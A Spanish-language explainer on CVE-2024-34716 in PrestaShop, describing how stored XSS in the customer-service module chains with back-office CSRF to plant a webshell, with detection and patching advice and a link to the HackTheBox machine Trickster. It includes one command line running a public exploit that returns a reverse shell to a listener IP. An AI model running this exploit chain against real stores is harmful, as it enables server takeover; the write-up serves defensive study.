PrestaShop XSS to RCE (CVE-2024-34716)
PrestaShop es un CMS de comercio electrónico en PHP muy extendido. CVE-2024-34716 afecta a las versiones anteriores a 8.1.6 y combina dos fallos para pasar de un visitante anónimo a ejecución de comandos en el servidor: un XSS almacenado en el módulo de atención al cliente (Customer Service) y una falta de protección CSRF en el back-office que permite a ese XSS disparar acciones de administrador.
La cadena, en dos tiempos.
- XSS almacenado. Un atacante sin autenticar envía un mensaje (por ejemplo, desde el formulario de contacto o adjuntando un fichero con un nombre malicioso) cuyo contenido se almacena sin sanear. Ese payload JavaScript se ejecuta en el navegador del administrador cuando este abre el hilo en el panel.
- CSRF hacia RCE. Como el back-office no protege adecuadamente ciertas acciones frente a CSRF, el JavaScript que ya corre con la sesión del admin puede crear un tema/módulo malicioso y subir un fichero PHP. PrestaShop permite renderizar plantillas, y ahí se inyecta código que termina como un webshell.
Por qué necesita interacción del admin. El punto clave (y la salvedad de impacto) es que el XSS no se dispara solo: requiere que un administrador abra el mensaje en el panel. En un laboratorio como Trickster hay un proceso automatizado que simula a ese admin; en el mundo real depende de ingeniería social o de paciencia. No es, por tanto, un RCE preautenticado instantáneo.
Explotación práctica. Exploits públicos como aelmokhtar/CVE-2024-34716 automatizan toda la cadena. Reciben la URL de la tienda, el correo del administrador objetivo y la IP de escucha; levantan un servidor HTTP que sirve el tema malicioso comprimido, envían el mensaje con el XSS y esperan a que el admin lo abra para subir el webshell y devolver una reverse shell (normalmente como www-data):
python3 exploit.py --url http://shop.ejemplo.com --email admin@ejemplo.com --local-ip 10.10.15.39Conseguir el correo del administrador y la versión exacta de PrestaShop suele venir de un paso previo de enumeración: por ejemplo, un .git expuesto que filtra tanto el autor de los commits como la ruta del panel de administración.
Cómo detectarlo. La cadena deja rastro en tres puntos. En la entrada, un mensaje de atención al cliente (o un nombre de fichero adjunto) que contiene <script> guardado sin sanear. En el navegador del administrador, la carga de JavaScript externo al abrir el hilo (informe de CSP o Referer en el log del atacante). Y en el servidor, la creación/subida de un tema o módulo desde el back-office no iniciada por un admin en su equipo habitual, seguida de un .php nuevo en la raíz web (FIM) y del proceso web lanzando sh como hijo. Esa acción privilegiada disparada por CSRF es la firma.
Defensa. Actualizar PrestaShop a 8.1.6 o posterior. Sanear y escapar todo contenido enviado por usuarios (también nombres de fichero), reforzar los tokens CSRF del back-office y aplicar una CSP que limite la ejecución de JavaScript inyectado. Es una variante de inyección de plantillas en el tramo final (el render de la plantilla PHP) y desemboca en ejecución de comandos.
Máquinas donde se aplica
- TricksterHackTheBox